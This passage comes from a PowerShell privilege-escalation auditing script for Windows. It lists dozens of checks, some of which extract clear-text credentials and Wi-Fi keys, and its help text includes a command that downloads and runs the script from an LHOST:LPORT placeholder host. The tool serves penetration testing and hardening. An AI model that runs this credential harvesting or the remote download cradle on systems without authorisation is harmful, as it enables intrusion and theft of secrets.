6419 Name : wlbsctrl.dll
6420 Description : Loaded by IKEEXT upon service startup
6421 RunAs : NT AUTHORITY\SYSTEM
6422 RebootRequired : True
6423
6424 Name : wlanhlp.dll
6425 Description : Loaded by NetMan when listing network interfaces
6426 RunAs : NT AUTHORITY\SYSTEM
6427 RebootRequired : False
6428
6429 .LINK
6430
6431 https://www.reddit.com/r/hacking/comments/b0lr05/a_few_binary_plating_0days_for_windows/?utm_source=amp&utm_medium=&utm_content=post_title
6432 #>
6433
6434 [CmdletBinding()] param()
6435
6436 function Test-DllExists {
6437
6438 [CmdletBinding()] param (
6439 [string]$Name
6440 )
6441
6442 $WindowsDirectories = New-Object System.Collections.ArrayList
6443 [void]$WindowsDirectories.Add($(Join-Path -Path $env:windir -ChildPath "System32"))
6444 [void]$WindowsDirectories.Add($(Join-Path -Path $env:windir -ChildPath "SysNative"))
6445 [void]$WindowsDirectories.Add($(Join-Path -Path $env:windir -ChildPath "System"))
6446 [void]$WindowsDirectories.Add($env:windir)
6447
6448 ForEach ($WindowsDirectory in [string[]]$WindowsDirectories) {
6449 $Path = Join-Path -Path $WindowsDirectory -ChildPath $Name
6450 $Null = Get-Item -Path $Path -ErrorAction SilentlyContinue -ErrorVariable ErrorGetItem
6451 if (-not $ErrorGetItem) {
6452 return $True
6453 }
6454 }
6455 return $False
6456 }
6457
6458 function Test-HijackableDll {
6459
6460 [CmdletBinding()] param (
6461 [string]$ServiceName,
6462 [string]$DllName,
6463 [string]$Description,
6464 [boolean]$RebootRequired = $True
6465 )
6466
6467 $Service = Get-ServiceFromRegistry -Name $ServiceName
6468 if ($Service -and ($Service.StartMode -ne "Disabled")) {
6469
6470 if (-not (Test-DllExists -Name $DllName)) {
6471
6472 $HijackableDllItem = New-Object -TypeName PSObject
6473 $HijackableDllItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $DllName
6474 $HijackableDllItem | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $Description
6475 $HijackableDllItem | Add-Member -MemberType "NoteProperty" -Name "RunAs" -Value $Service.User
6476 $HijackableDllItem | Add-Member -MemberType "NoteProperty" -Name "RebootRequired" -Value $RebootRequired
6477 $HijackableDllItem
6478 }
6479 }
6480 }
6481
6482 $OsVersion = [System.Environment]::OSVersion.Version
6483
6484 if ($OsVersion.Major -eq 10) {
6485
6486 Test-HijackableDll -ServiceName "CDPSvc" -DllName "cdpsgshims.dll" -Description "Loaded by CDPSvc upon service startup"
6487 Test-HijackableDll -ServiceName "Schedule" -DllName "WptsExtensions.dll" -Description "Loaded by the Task Scheduler upon service startup"
6488
6489 }
6490
6491 # Windows 7, 8, 8.1
6492 if (($OsVersion.Major -eq 6) -and ($OsVersion.Minor -ge 1) -and ($OsVersion.Minor -le 3)) {
6493
6494 Test-HijackableDll -ServiceName "DiagTrack" -DllName "windowsperformancerecordercontrol.dll" -Description "Loaded by DiagTrack upon service startup or shutdown"
6495 Test-HijackableDll -ServiceName "DiagTrack" -DllName "diagtrack_win.dll" -Description "Loaded by DiagTrack upon service startup"
6496
6497 }
6498
6499 # Windows Vista, 7, 8
6500 if (($OsVersion.Major -eq 6) -and ($OsVersion.Minor -ge 0) -and ($OsVersion.Minor -le 2)) {
6501
6502 $RebootRequired = $True
6503 $Service = Get-Service -Name "IKEEXT" -ErrorAction SilentlyContinue -ErrorVariable ErrorGetService
6504 if ((-not $ErrorGetService) -and ($Service.Status -eq "Stopped")) {
6505 $RebootRequired = $False
6506 }
6507
6508 Test-HijackableDll -ServiceName "IKEEXT" -DllName "wlbsctrl.dll" -Description "Loaded by IKEEXT upon service startup" -RebootRequired $RebootRequired
6509
6510 }
6511
6512 # Windows 7
6513 if (($OsVersion.Major -eq 6) -and ($OsVersion.Minor -eq 1)) {
6514
6515 Test-HijackableDll -ServiceName "NetMan" -DllName "wlanhlp.dll" -Description "Loaded by NetMan when listing network interfaces" -RebootRequired $False
6516
6517 }
6518
6519 # Windows 8, 8.1, 10
6520 if (($OsVersion.Major -eq 10) -or (($OsVersion.Major -eq 6) -and ($OsVersion.Minor -ge 2) -and ($OsVersion.Minor -le 3))) {
6521
6522 Test-HijackableDll -ServiceName "NetMan" -DllName "wlanapi.dll" -Description "Loaded by NetMan when listing network interfaces" -RebootRequired $False
6523
6524 }
6525 }
6526 # ----------------------------------------------------------------
6527 # END DLL HIJACKING
6528 # ----------------------------------------------------------------
6529 #endregion Checks
6530
6531 # ----------------------------------------------------------------
6532 # Main
6533 # ----------------------------------------------------------------
6534 #region Main
6535
6536 function Invoke-PrivescCheck {
6537 <#
6538 .SYNOPSIS
6539
6540 Enumerates common security misconfigurations that can be exploited for privilege escalation
6541 purposes.
6542
6543 Author: @itm4n
6544 License: BSD 3-Clause
6545
6546 .DESCRIPTION
6547
6548 This script aims to identify security misconfigurations that are relevant for privilege
6549 escalation. It also provides some additional information that may help penetration testers to
6550 choose between several potential exploits. For example, if you find that a service is
6551 vulnerable to DLL hijacking but you can't restart it manually, you will find useful to know
6552 hos often the machine is rebooted (in the case of a server). If you see that it is rebooted
6553 every night for instance, you may want to attempt an exploit.
6554
6555 .PARAMETER Extended
6556
6557 Set this flag to enable extended checks.
6558
6559 .PARAMETER Force
6560
6561 Ignore warnings.
6562
6563 .PARAMETER Silent
6564
6565 Don't output test results, show only the final vulnerability report.
6566
6567 .PARAMETER Report
6568
6569 Basename (or path + basename) of the output file report.
6570
6571 .PARAMETER Format
6572
6573 Select the format of the output file (e.g.: TXT, HTML or CSV).
6574
6575 .EXAMPLE
6576
6577 PS C:\Temp\> . .\PrivescCheck.ps1; Invoke-PrivescCheck
6578
6579 .EXAMPLE
6580
6581 C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
6582
6583 .EXAMPLE
6584
6585 C:\Temp\>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/P
6586 rivescCheck.ps1'; Invoke-PrivescCheck"
6587
6588 #>
6589
6590 [CmdletBinding()] param(
6591 [switch]$Extended = $False,
6592 [switch]$Force = $False,
6593 [switch]$Silent = $False,
6594 #[string]$OutFile,
6595 #[ValidateSet("HTML", "CSV")][string]$OutFormat
6596 [string]$Report,
6597 [ValidateSet("TXT", "HTML", "CSV")][string[]]$Format
6598 )
6599
6600 # Check wether the current process has admin privileges.
6601 # The following check was taken from Pow*rUp.ps1
6602 $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
6603 if($IsAdmin) {
6604
6605 if (-not $Force) {
6606
6607 Write-Warning "You are running this script as an administrator! Some checks will be automatically disabled."
6608 Write-Warning "You can specify the '-Force' option to disable this warning message."
6609 Start-Sleep -Seconds 10
6610 }
6611 }
6612
6613 # The following CSV data contains all the checks
6614 $AllChecksCsv = @"
6615 "Id", "File", "Command", "Params", "Category", "DisplayName", "Type", "Severity", "Description", "Format", "Extended", "RunIfAdmin"
6616 "USER_USER", "", "Invoke-UserCheck", "", "User", "whoami", "Info", "Info", "Get the full name of the current user (domain + username) along with the associated Security Identifier (SID).", "Table", True, True
6617 "USER_GROUPS", "", "Invoke-UserGroupsCheck", "", "User", "whoami /groups", "Info", "Info", "List the groups the current user belongs to. Default groups are filtered out to minimize the output.", "Table", True, True
6618 "USER_PRIVILEGES", "", "Invoke-UserPrivilegesCheck", "", "User", "Privileges", "Vuln", "High", "List the privileges that are associated to the current user's token. If any of them can be leveraged to somehow run code in the context of the SYSTEM account, it will be reported as a finding.", "Table", False, False
6619 "USER_ENV", "", "Invoke-UserEnvCheck", "", "User", "Environment Variables", "Info", "Info", "List the environment variables of the current process and try to identify any potentially sensitive information such as passwords or API secrets. This check is simply based on keyword matching and might not be entirely reliable.", "Table", False, True
6620 "SERVICE_INSTALLED", "", "Invoke-InstalledServicesCheck", "", "Services", "Non-default Services", "Info", "Info", "List all registered services and filter out the ones that are built into Windows. It does so by parsing the target executable's metadata.", "List", False, True
6621 "SERVICE_PERMISSIONS", "", "Invoke-ServicesPermissionsCheck", "", "Services", "Permissions - SCM", "Vuln", "High", "Interact with the Service Control Manager (SCM) and check whether the current user can modify any registered service.", "List", False, False
6622 "SERVICE_PERMISSIONS_REGISTRY", "", "Invoke-ServicesPermissionsRegistryCheck", "", "Services", "Permissions - Registry", "Vuln", "High", "Parse the registry and check whether the current user can modify the configuration of any registered service.", "List", False, False
6623 "SERVICE_IMAGE_PERMISSIONS", "", "Invoke-ServicesImagePermissionsCheck", "", "Services", "Binary Permissions", "Vuln", "High", "List all services and check whether the current user can modify the target executable or write files in its parent folder.", "List", False, False
6624 "SERVICE_UNQUOTED_PATH", "", "Invoke-ServicesUnquotedPathCheck", "", "Services", "Unquoted Path", "Vuln", "Medium", "List registered services and check whether any of them is configured with an unquoted path that can be exploited.", "List", False, False
6625 "SERVICE_DLL_HIJACKING", "", "Invoke-DllHijackingCheck", "", "Services", "System's %PATH%", "Vuln", "High", "Retrieve the list of SYSTEM %PATH% folders and check whether the current user has some write permissions in any of them.", "List", False, False
6626 "SERVICE_HIJACKABLE_DLL", "", "Invoke-HijackableDllsCheck", "", "Services", "Hijackable DLLs", "Info", "Info", "List Windows services that are prone to Ghost DLL hijacking. This is particularly relevant if the current user can create files in one of the SYSTEM %PATH% folders.", "List", False, False
6627 "APP_INSTALLED", "", "Invoke-InstalledProgramsCheck", "", "Apps", "Non-default Apps", "Info", "Info", "Enumerate non-default and third-party applications by parsing the registry.", "Table", True, True
6628 "APP_MODIFIABLE", "", "Invoke-ModifiableProgramsCheck", "", "Apps", "Modifiable Apps", "Vuln", "Medium", "List non-default and third-party applications and report the ones that can be modified by the current user.", "List", False, False
6629 "APP_PROGRAMDATA", "", "Invoke-ProgramDataCheck", "", "Apps", "ProgramData folders/files", "Info", "Info", "List the non-default ProgramData folders and check whether the current user has write permissions. This check is purely informative and the results require manual analysis.", "List", True, False
6630 "APP_STARTUP", "", "Invoke-ApplicationsOnStartupCheck", "", "Apps", "Apps Run on Startup", "Info", "Info", "Enumerate the system-wide applications that are run on start-up.", "List", True, True
6631 "APP_STARTUP_VULN", "", "Invoke-ApplicationsOnStartupVulnCheck", "", "Apps", "Modifiable Apps Run on Startup", "Vuln", "Medium", "Enumerate the system-wide applications that are run on start-up and check whether they can be modified by the current user.", "List", False, False
6632 "APP_PROCESSES", "", "Invoke-RunningProcessCheck", "", "Apps", "Running Processes", "Info", "Info", "List processes that are not owned by the current user and filter out common processes such as 'svchost.exe'.", "Table", True, True
6633 "SCHTASKS_IMAGE_PERMISSIONS", "", "Invoke-ScheduledTasksImagePermissionsCheck", "", "Scheduled Tasks", "Binary Permissions", "Vuln", "Medium", "Enumerate the scheduled tasks that are not owned by the current user and checks whether the target binary can be modified. Note that, as a low-privileged user, it's not possible to enumerate all the scheduled tasks.", "List", False, False
6634 "SCHTASKS_UNQUOTED_PATH", "", "Invoke-ScheduledTasksUnquotedPathCheck", "", "Scheduled Tasks", "Unquoted Path", "Vuln", "Medium", "Enumerate the scheduled tasks that are not owned by the current user and checks whether the corresponding command uses an exploitable unquoted path. Note that, as a low-privileged user, it's not possible to enumerate all the scheduled tasks.", "List", False, False
6635 "CREDS_SAM_BKP", "", "Invoke-SamBackupFilesCheck", "", "Creds", "SAM/SYSTEM Backup Files", "Vuln", "Medium", Check whether some backup files of the SAM/SYSTEM hives were created with insecure permissions.", "List", False, False
6636 "CREDS_UNATTENDED", "", "Invoke-UnattendFilesCheck", "", "Creds", "Unattended Files", "Vuln", "Medium", "Locate 'Unattend' files and check whether they contain any clear-text credentials.", "List", False, True
6637 "CREDS_WINLOGON", "", "Invoke-WinlogonCheck", "", "Creds", "WinLogon", "Vuln", "Medium", "Parse the Winlogon registry keys and check whether they contain any clear-text password. Entries that have an empty password field are filtered out.", "List", False, True
6638 "CREDS_CRED_FILES", "", "Invoke-CredentialFilesCheck", "", "Creds", "Credential Files", "Info", "Info", "Enumerate the credential files that are present in the current user's HOME folder. This is purely informative.", "List", True, True
6639 "CREDS_VAULT_CRED", "", "Invoke-VaultCredCheck", "", "Creds", "Credential Manager", "Info", "Info", "Enumerate the credentials that are saved in the current user's vault.", "List", False, True
6640 "CREDS_VAULT_LIST", "", "Invoke-VaultListCheck", "", "Creds", "Credential Manager (web)", "Info", "Info", "Enumerate the web credentials that are saved in the current user's Vault.", "List", False, True
6641 "CREDS_GPP", "", "Invoke-GPPPasswordCheck", "", "Creds", "GPP Passwords", "Vuln", "Medium", "Locate old cached Group Policy Preference files that contain a 'cpassword' field and extract the clear-text credentials.", "List", False, True
6642 "CREDS_PS_HIST", "", "Invoke-PowerShellHistoryCheck", "", "Creds", "PowerShell History", "Info", "Info", "Locate the current user's PowerShell history file and check whether it contains some clear-text credentials. This check is simply based on keyword matching and might not be entirely reliable.", "List", True, True
6643 "HARDEN_UAC", "", "Invoke-UacCheck", "", "Hardening", "UAC Settings", "Info", "Info", "Retrieve the User Access Control (UAC) configuration and check whether it is enabled.", "List", True, True
6644 "HARDEN_LSA", "", "Invoke-LsaProtectionsCheck", "", "Hardening", "LSA protections", "Info", "Info", "Check whether 'lsass' runs as a Protected Process Light and/or if Credential Guard is enabled.", "Table", True, True
6645 "HARDEN_LAPS", "", "Invoke-LapsCheck", "", "Hardening", "LAPS Settings", "Info", "Info", "Parse the registry and determine whether LAPS is configured and enabled.", "List", True, True
6646 "HARDEN_PS_TRANSCRIPT", "", "Invoke-PowershellTranscriptionCheck", "", "Hardening", "PowerShell Transcription", "Info", "Info", "Check whether PowerShell Transcription is configured and enabled. If so, the path of the output log file will be returned.", "List", True, True
6647 "HARDEN_BITLOCKER", "", "Invoke-BitlockerCheck", "", "Hardening", "BitLocker", "Vuln", "High", "Check whether BitLocker is configured and enabled on the system drive. Note that this check will yield a false positive if another encryption software is in use.", "List", False, True
6648 "CONFIG_MSI", "", "Invoke-RegistryAlwaysInstallElevatedCheck", "", "Config", "AlwaysInstallElevated", "Vuln", "High", "Check whether the 'AlwaysInstallElevated' registry keys are configured and enabled. If so any user might be able to run arbitary MSI files with SYSTEM privileges.", "List", False, False
6649 "CONFIG_WSUS", "", "Invoke-WsusConfigCheck", "", "Config", "WSUS Configuration", "Vuln", "High", "If WSUS is in use, this check will determine whether or not it uses a secure URL. If not, it might be vulnerable to MitM attacks (c.f. 'WSUXploit' / 'WSuspicious').", "List", False, True
6650 "CONFIG_SCCM", "", "Invoke-SccmCacheFolderCheck", "", "Config", "SCCM Cache Folder", "Info", "Info", "Checks whether the SCCM cache folder exists. Manual investigation might be required during post-exploitation.", "List", True, True
6651 "CONFIG_SCCM_VULN", "", "Invoke-SccmCacheFolderVulnCheck", "", "Config", "SCCM Cache Folder", "Vuln", "Medium", "Checks whether the current user can browse the SCCM cache folder. If so, hardcoded credentials might be extracted from MSI package files or scripts.", "List", False, False
6652 "NET_TCP_ENDPOINTS", "", "Invoke-TcpEndpointsCheck", "", "Network", "TCP Endpoints", "Info", "Info", "List all TCP ports that are in a LISTEN state. For each one, the corresponding process is also returned.", "Table", True, True
6653 "NET_UDP_ENDPOINTS", "", "Invoke-UdpEndpointsCheck", "", "Network", "UDP Endpoints", "Info", "Info", "List all UDP ports that are in a LISTEN state. For each one, the corresponding process is also returned. DNS is filtered out to minimize the output.", "Table", True, True
6654 "NET_WLAN", "", "Invoke-WlanProfilesCheck", "", "Network", "Saved Wifi Profiles", "Info", "Info", "Enumerate saved Wifi profiles and extract clear-text WEP/WPA pre-shared keys and passphrases (if applicable).", "List", True, True
6655 "UPDATE_HISTORY", "", "Invoke-WindowsUpdateCheck", "", "Updates", "Last Windows Update Date", "Info", "Info", "Interact with the Windows Update service and determine when the system was last updated. Note that this check might be unreliable.", "Table", True, True
6656 "UPDATE_HOTFIX", "", "Invoke-HotFixCheck", "", "Updates", "Installed Updates and Hotfixes", "Info", "Info", "Enumerate the installed updates and hotfixes by parsing the registry. If this fails, the check will fall back to the built-in 'Get-HotFix' cmdlet.", "Table", True, True
6657 "UPDATE_HOTFIX_VULN", "", "Invoke-HotFixVulnCheck", "", "Updates", "System up to date?", "Vuln", "Medium", "Enumerate the installed updates and hotfixes and check whether a patch was applied in the last 31 days.", "List", False, True
6658 "MISC_AVEDR", "", "Invoke-EndpointProtectionCheck", "", "Misc", "Endpoint Protection", "Info", "Info", "Enumerate installed security products (AV, EDR). This check is based on keyword matching (loaded DLLs, running processes, installed applications and registered services).", "Table", True, True
6659 "MISC_SYSINFO", "", "Invoke-SystemInfoCheck", "", "Misc", "OS Version", "Info", "Info", "Print the detailed version number of the Operating System. If we can't get the update history, this might be useful.", "Table", True, True
6660 "MISC_ADMINS", "", "Invoke-LocalAdminGroupCheck", "", "Misc", "Local Admin Group", "Info", "Info", "Enumerate the users and groups that belong to the local 'Administrators' group.", "Table", True, True
6661 "MISC_HOMES", "", "Invoke-UsersHomeFolderCheck", "", "Misc", "User Home Folders", "Info", "Info", "Enumerate local HOME folders and check for potentially weak permissions.", "Table", True, False
6662 "MISC_MACHINE_ROLE", "", "Invoke-MachineRoleCheck", "", "Misc", "Machine Role", "Info", "Info", "Simply return the machine's role. It can be either 'Workstation', 'Server' or 'Domain Controller'.", "Table", True, True
6663 "MISC_STARTUP_EVENTS", "", "Invoke-SystemStartupHistoryCheck", "", "Misc", "System Startup History", "Info", "Info", "Retrieve the machine's startup history. This might be useful to figure out how often a server is rebooted. In the case of a workstation, such metric isn't as relevant.", "Table", True, True
6664 "MISC_STARTUP_LAST", "", "Invoke-SystemStartupCheck", "", "Misc", "Last System Startup", "Info", "Info", "Determine the last system startup date and time based on the current tick count. Note that this might be unreliable.", "Table", True, True
6665 "MISC_DRIVES", "", "Invoke-SystemDrivesCheck", "", "Misc", "Filesystem Drives", "Info", "Info", "List partitions, removable storage and mapped network shares.", "Table", True, True
6666 "@
6667
6668 $AllChecks = New-Object System.Collections.ArrayList
6669
6670 # Load default checks
6671 $AllChecksCsv | ConvertFrom-Csv | ForEach-Object {
6672 [void] $AllChecks.Add($_)
6673 }
6674
6675 # Load plugins if any
6676 Write-Verbose "Script path: $($ScriptPath)"
6677 if (Test-Path $ScriptPath) {
6678 $ScriptLocation = Split-Path -Parent $ScriptPath -ErrorAction SilentlyContinue -ErrorVariable ErrorSplitPath
6679 if (-not $ErrorSplitPath) {
6680 $PrivescCheckPluginsCsvPath = Join-Path $ScriptLocation -ChildPath "\PrivescCheckPlugins\PrivescCheckPlugins.csv"
6681 Write-Verbose "Plugin definition file: '$($PrivescCheckPluginsCsvPath)'"
6682 if (Test-Path -Path $PrivescCheckPluginsCsvPath) {
6683 Write-Verbose "Found plugin definition file: $($PrivescCheckPluginsCsvPath)"
6684 Get-Content -Path $PrivescCheckPluginsCsvPath -ErrorAction Stop | Out-String | ConvertFrom-Csv | ForEach-Object {
6685 [void] $AllChecks.Add($_)
6686 }
6687 } else {
6688 Write-Verbose "No plugin definition file found."
6689 }
6690 }
6691 }
6692
6693 # Load plugin scripts if any
6694 $AllChecks | Where-Object { $_.File -ne "" } | Select-Object -ExpandProperty File | Sort-Object -Unique | ForEach-Object {
6695 Write-Verbose "Plugin required: $($_)"
6696 $FilePath = Join-Path $ScriptLocation -ChildPath "\PrivescCheckPlugins\$($_)"
6697 Get-Content -Path $FilePath -ErrorAction Stop | Out-String | Invoke-Expression
6698 }
6699
6700 $CheckCounter = 0
6701 $AllChecks | ForEach-Object {
6702
6703 $CurrentCheck = $_
6704
6705 # Get the 'RunIfAdmin' flag's value from the CSV data
6706 $RunIfAdmin = [System.Convert]::ToBoolean($CurrentCheck.RunIfAdmin)
6707
6708 if (($IsAdmin -and $RunIfAdmin) -or (-not $IsAdmin)) {
6709
6710 # If the current user is an admin, run the check only it 'RunIfAdmin' is true.
6711 # If the current user is a normal user, simply run the check.
6712
6713 # Get the 'Extended' flag's value from the CSV data
6714 $ExtendedCheck = [System.Convert]::ToBoolean($CurrentCheck.Extended)
6715
6716 if ($Extended -or ((-not $Extended) -and (-not $ExtendedCheck))) {
6717
6718 # If the 'Extended' option was specified, run the check.
6719 # If the 'Extended' option was not specified, run the check only if is is not
6720 # marked as an "Extended" one.
6721
6722 if ($Silent) {
6723
6724 # If the 'Silent' option was specified, don't print the output of the check but
6725 # write a progress bar and show the name of the check that is being run.
6726
6727 $CheckCounter += 1
6728 $Percentage = ($CheckCounter * 100) / ($AllChecks.Count)
6729 Write-Progress -Activity "$($CurrentCheck.Category.ToUpper()) > $($CurrentCheck.DisplayName)" -PercentComplete $Percentage
6730 $CheckResult = Invoke-Check -Check $CurrentCheck
6731
6732 } else {
6733
6734 # If the 'Silent' option was not specified, print a banner that shows some
6735 # information about the current check. Then, run the check and print the
6736 # output either as a table or a list, depending on the 'Format' value in
6737 # the CSV data.
6738
6739 Write-CheckBanner -Check $CurrentCheck
6740 $CheckResult = Invoke-Check -Check $CurrentCheck
6741 Write-CheckResult -CheckResult $CheckResult
6742 }
6743 }
6744 }
6745 }
6746
6747 # Print a report on the terminal as an 'ASCII-art' table with colors using 'Write-Host'.
6748 # Therefore, this will be only visible if run from a 'real' terminal.
6749 Write-PrivescCheckAsciiReport
6750
6751 # If the 'Report' option was specified, write a report to a file using the value of this
6752 # parameter as the basename (or path + basename). The extension is then determined based
6753 # on the chosen format(s).
6754 if ($Report) {
6755
6756 if (-not $Format) {
6757
6758 # If a format or a format list was not specified, default to the TXT format.
6759
6760 [string[]] $Format = "TXT"
6761 }
6762
6763 $Format | ForEach-Object {
6764
6765 # For each format, build the name of the output report file as BASENAME + . + EXT.
6766 # Then generate the report corresponding to the current format and write it to a
6767 # file using the previously formatted filename.
6768
6769 $ReportFileName = "$($Report.Trim()).$($_.ToLower())"
6770 if ($_ -eq "TXT") {
6771 Write-TxtReport -AllResults $ResultArrayList | Out-File $ReportFileName
6772 } elseif ($_ -eq "HTML") {
6773 Write-HtmlReport -AllResults $ResultArrayList | Out-File $ReportFileName
6774 } elseif ($_ -eq "CSV") {
6775 Write-CsvReport -AllResults $ResultArrayList | Out-File $ReportFileName
6776 } else {
6777 Write-Warning "`r`nReport format not implemented: $($Format.ToUpper())`r`n"
6778 }
6779 }
6780 }
6781
6782 # If the 'Extended' mode was not specified, print a warning message, unless the 'Force'
6783 # parameter was specified.
6784 if ((-not $Extended) -and (-not $Force) -and (-not $Silent)) {
6785
6786 Write-Warning "To get more info, run this script with the option '-Extended'."
6787 }
6788 }
6789
6790 function Invoke-Check {
6791
6792 [CmdletBinding()] param(
6793 [object]$Check
6794 )
6795
6796 $Result = Invoke-Expression -Command "$($Check.Command) $($Check.Params)"
6797 $Check | Add-Member -MemberType "NoteProperty" -Name "ResultRaw" -Value $Result
6798 $Check | Add-Member -MemberType "NoteProperty" -Name "ResultRawString" -Value $($Result | Format-List | Out-String)
6799
6800 if ($($Check.Type -Like "vuln")) {
6801 if ($Result) {
6802 $Check | Add-Member -MemberType "NoteProperty" -Name "Compliance" -Value "KO"
6803 } else {
6804 $Check.Severity = "None"
6805 $Check | Add-Member -MemberType "NoteProperty" -Name "Compliance" -Value "OK"
6806 }
6807 } else {
6808 $Check | Add-Member -MemberType "NoteProperty" -Name "Compliance" -Value "N/A"
6809 if (-not $Result) {
6810 $Check.Severity = "None"
6811 }
6812 }
6813 [void] $ResultArrayList.Add($Check)
6814 $Check
6815 }
6816
6817 function Write-CheckBanner {
6818
6819 [CmdletBinding()] param(
6820 [object]$Check
6821 )
6822
6823 function Split-Description {
6824 param([string]$Description)
6825
6826 $DescriptionSplit = New-Object System.Collections.ArrayList
6827 $TempOld = ""
6828 $TempNew = ""
6829 $Description.Split(' ') | ForEach-Object {
6830
6831 $TempNew = "$($TempOld) $($_)".Trim()
6832 if ($TempNew.Length -gt 53) {
6833 [void]$DescriptionSplit.Add($TempOld)
6834 $TempOld = "$($_)"
6835 } else {
6836 $TempOld = $TempNew
6837 }
6838 }
6839 if ($TempOld) {
6840 [void]$DescriptionSplit.Add($TempOld)
6841 }
6842 $DescriptionSplit
6843 }
6844
6845 $Title = "$($Check.Category.ToUpper()) > $($Check.DisplayName)"
6846 if ($Title.Length -gt 46) {
6847 throw "Input title is too long."
6848 }
6849
6850 $Result = ""
6851 $Result += "+------+------------------------------------------------+------+`r`n"
6852 $Result += "| TEST | $Title$(' '*(46 - $Title.Length)) | $($Check.Type.ToUpper()) |`r`n"
6853 $Result += "+------+------------------------------------------------+------+`r`n"
6854 Split-Description -Description $Check.Description | ForEach-Object {
6855 $Result += "| $(if ($Flag) { ' ' } else { 'DESC'; $Flag = $True }) | $($_)$(' '*(53 - ([string]$_).Length)) |`r`n"
6856 }
6857 $Result += "+------+-------------------------------------------------------+"
6858 $Result
6859 }
6860
6861 function Write-CheckResult {
6862
6863 [CmdletBinding()] param(
6864 [object]$CheckResult
6865 )
6866
6867 if ($CheckResult.ResultRaw) {
6868
6869 "[*] Found $(([object[]]$CheckResult.ResultRaw).Length) result(s)."
6870
6871 if ($CheckResult.Format -eq "Table") {
6872 $CheckResult.ResultRaw | Format-Table -AutoSize
6873 } elseif ($CheckResult.Format -eq "List") {
6874 $CheckResult.ResultRaw | Format-List
6875 }
6876
6877 } else {
6878
6879 # If no result was returned by the check, print a message that shows that
6880 # the host is not vulnerable if it's a "vuln" check or, printer a message
6881 # that shows that nothing was found.
6882
6883 if ($CheckResult.Type -eq "Vuln") {
6884 "[!] Not vulnerable."
6885 } else {
6886 "[!] Nothing found."
6887 }
6888 }
6889
6890 "`r`n"
6891 }
6892
6893 function Write-TxtReport {
6894
6895 [CmdletBinding()] param(
6896 [object[]]$AllResults
6897 )
6898
6899 $AllResults | ForEach-Object {
6900
6901 Write-CheckBanner -Check $_
6902 Write-CheckResult -CheckResult $_
6903 }
6904 }
6905
6906 function Write-CsvReport {
6907
6908 [CmdletBinding()] param(
6909 [object[]]$AllResults
6910 )
6911
6912 $AllResults | Sort-Object -Property "Category" | Select-Object "Category","DisplayName","Description","Compliance","Severity","ResultRawString" | ConvertTo-Csv -NoTypeInformation
6913 }
6914
6915 function Write-HtmlReport {
6916
6917 [CmdletBinding()] param(
6918 [object[]]$AllResults
6919 )
6920
6921 $JavaScript = @"
6922 var cells = document.getElementsByTagName('td');
6923
6924 for (var i=0; i<cells.length; i++) {
6925 if (cells[i].innerHTML == "True") {
6926 cells[i].style.backgroundColor = '#ff5050';
6927 } else if(cells[i].innerHTML == "False") {
6928 cells[i].style.backgroundColor = '#00ff99';
6929 } else if (cells[i].innerHTML == "Low") {
6930 cells[i].innerHTML = "<span class=\"label low\">Low</span>"
6931 } else if (cells[i].innerHTML == "Medium") {
6932 cells[i].innerHTML = "<span class=\"label medium\">Medium</span>"
6933 } else if (cells[i].innerHTML == "High") {
6934 cells[i].innerHTML = "<span class=\"label high\">High</span>"
6935 } else if (cells[i].innerHTML == "Info") {
6936 cells[i].innerHTML = "<span class=\"label info\">Info</span>"
6937 } else if (cells[i].innerHTML == "None") {
6938 cells[i].innerHTML = "<span class=\"label other\">None</span>"
6939 } else if (cells[i].innerHTML == "OK") {
6940 cells[i].innerHTML = "<span class=\"label low\">OK</span>"
6941 } else if (cells[i].innerHTML == "KO") {
6942 cells[i].innerHTML = "<span class=\"label high\">KO</span>"
6943 } else if (cells[i].innerHTML == "N/A") {
6944 cells[i].innerHTML = "<span class=\"label other\">N/A</span>"
6945 }
6946
6947 // If a cell is too large, we need to make it scrollable. But 'td' elements are not
6948 // scrollable so, we need make it a 'div' first and apply the 'scroll' (c.f. CSS) style to make
6949 // it scrollabale.
6950 if (cells[i].offsetHeight > 200) {
6951 cells[i].innerHTML = "<div class=\"scroll\">" + cells[i].innerHTML + "</div>";
6952 console.log("Cells height is greater than 200");
6953 }
6954 }
6955 "@
6956
6957 $Css = @"
6958 body {
6959 font:1.2em normal Arial,sans-serif;
6960 color:#34495E;
6961 }
6962
6963 h1 {
6964 text-align:center;
6965 text-transform:uppercase;
6966 letter-spacing:-2px;
6967 font-size:2.5em;
6968 margin:20px 0;
6969 }
6970
6971 table {
6972 border-collapse:collapse;
6973 width:100%;
6974 border:2px solid #6699ff;
6975 }
6976
6977 th {
6978 color:white;
6979 background:#6699ff;
6980 text-align:center;
6981 padding:5px 0;
6982 }
6983
6984 td {
6985 text-align:center;
6986 padding:5px 5px 5px 5px;
6987 }
6988
6989 tbody td:nth-child(3) {
6990 text-align:left;
6991 }
6992
6993 /* Render output results with 'pre' style */
6994 tbody td:nth-child(6) {
6995 white-space: pre;
6996 margin: 1em 0px;
6997 padding: .2rem .4rem;
6998 font-size: 87.5%;
6999 font-family: SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;
7000 text-align:left;
7001 }
7002
7003 tbody tr:nth-child(even) {
7004 background:#ECF0F1;
7005 }
7006
7007 tbody tr:hover {
7008 background:#BDC3C7;
7009 color:#FFFFFF;
7010 }
7011
7012 .scroll {
7013 max-height: 200px;
7014 overflow: auto;
7015 }
7016
7017 .label {
7018 margin: 8px;
7019 padding: 6px;
7020 display: block;
7021 width: 60px;
7022 border-radius: 5px;
7023 }
7024
7025 .low {background-color: #4CAF50;} /* Green */
7026 .info {background-color: #2196F3;} /* Blue */
7027 .medium {background-color: #ff9800;} /* Orange */
7028 .high {background-color: #f44336;} /* Red */
7029 .other {background-color: #cccccc;} /* Gray */
7030 "@
7031
7032 $Html = @"
7033 <html>
7034 <head>
7035 <style>
7036 $($Css)
7037 </style>
7038 </head>
7039 <body>
7040 BODY_TO_REPLACE
7041 <script>
7042 $($JavaScript)
7043 </script>
7044 </body>
7045 </html>
7046 "@
7047
7048 $TableHtml = $AllResults | Sort-Object -Property "Category" | ConvertTo-Html -Property "Category","DisplayName","Description","Compliance","Severity","ResultRawString" -Fragment
